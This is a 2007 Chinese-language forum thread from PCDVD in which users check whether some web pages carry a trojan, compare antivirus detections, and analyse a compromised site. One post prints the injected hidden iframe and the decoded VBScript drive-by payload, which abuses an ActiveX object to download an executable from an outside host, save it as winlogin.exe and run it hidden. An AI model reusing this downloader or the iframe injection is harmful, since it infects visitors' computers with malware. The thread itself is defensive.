PCDVD數位科技討論區 - 這個網頁有木馬？？？請大家幫忙確認。

PCDVD數位科技討論區 (https://www.pcdvd.com.tw/index.php)

- 七嘴八舌異言堂 (https://www.pcdvd.com.tw/forumdisplay.php?f=12)

- - 這個網頁有木馬？？？請大家幫忙確認。 (https://www.pcdvd.com.tw/showthread.php?t=711131)

引用:

作者jaydin

http://www.turboupload.com/
http://www.rapidupload.com/
以上網頁...各位勇士想測一下嗎？ :laugh:
賣咖啡企業亦有反應，好像都素cookies的問題，這素病毒or spy呢
現在對賣咖啡企業版，還頗有信心的 :like:

上面那兩個貼圖空間KIS 6.0.2.621沒反應

我用 Safari 沒安裝防毒軟體好像沒事...

（快酸 XD）

來不及了，按下去了....

真是，隨便走都會踩到地雷...

引用:

作者darksnow

把jpg.htm丟到virustotal測試

有這些可以掃到。

AntiVir 7.3.1.50 04.13.2007 HEUR/Exploit.HTML
Ewido 4.0 04.12.2007 Hijacker.Linker.e
F-Secure 6.70.13030.0 04.13.2007 Trojan-Downloader.JS.Psyme.cf
Kaspersky 4.0.2.24 04.13.2007 Trojan-Downloader.JS.Psyme.cf
Webwasher-Gateway 6.0.1 04.13.2007 Heuristic.Exploit.HTML

小紅傘真的愈來愈強了...
但我是用卡巴~~ :laugh:

我要另存這個網頁的東西，卡巴不給存... :nonono:
http://che.cycu.edu.tw/mphl/B76504~...howtime/jpg.htm

使用VISTA， AVAST 沒有反應，一句話爛!!
zonealarm for vista ，捉到後自動隔離了.
另外測過nod 32 也沒反應，不知道norton掃的到嗎？or trend ?

引用:

作者台北小文

使用VISTA， AVAST 沒有反應，一句話爛!!
zonealarm for vista ，捉到後自動隔離了.
另外測過nod 32 也沒反應，不知道norton掃的到嗎？or trend ?

Z...用的也是卡巴的防毒引擎.
所以抓倒是正常的.. :D :D

卡巴殺豬聲真難聽.... :jolin:

是上只有ghost好
有ghost的電腦像個寶
........
這些天幫人弄電腦
快被木馬搞瘋了
重灌
然後ghost一切ok

http://www.wanluan-lins.com.tw/inside.html
這個網頁指引到一個iframe
iframe name="main" width="591" border="0" frameborder="0" height="395" src="inside.asp"> 這是正常的
問題就在 inside.asp 被加入了這一行
<iframe src="http://che.cycu.edu.tw/mphl/B76504~/comm/UpLoad//home//images2/showtime/jpg.htm" width="0" height="0" frameborder="0"></iframe> 明眼人就知道一定有問題，幹麼沒事建立一個"看不到"的frame？

這個有問題的frame就是：
http://che.cycu.edu.tw/mphl/B76504~...howtime/jpg.htm
其中有一段很機車的var HtmlStrings ，經過 psw()解碼之後，變成

<script language="VBScript">
on error resume next
dl = "http://che.cycu.edu.tw/mphl/B76504/comm/UpLoad//home//images2/showtime/jpg.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="winlogin.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>

所以有問題的檔案就是在jpg.exe。

老實說，這個攻擊很沒有創意....別人都在用ANI Exp了，還在用這種老掉牙的技術....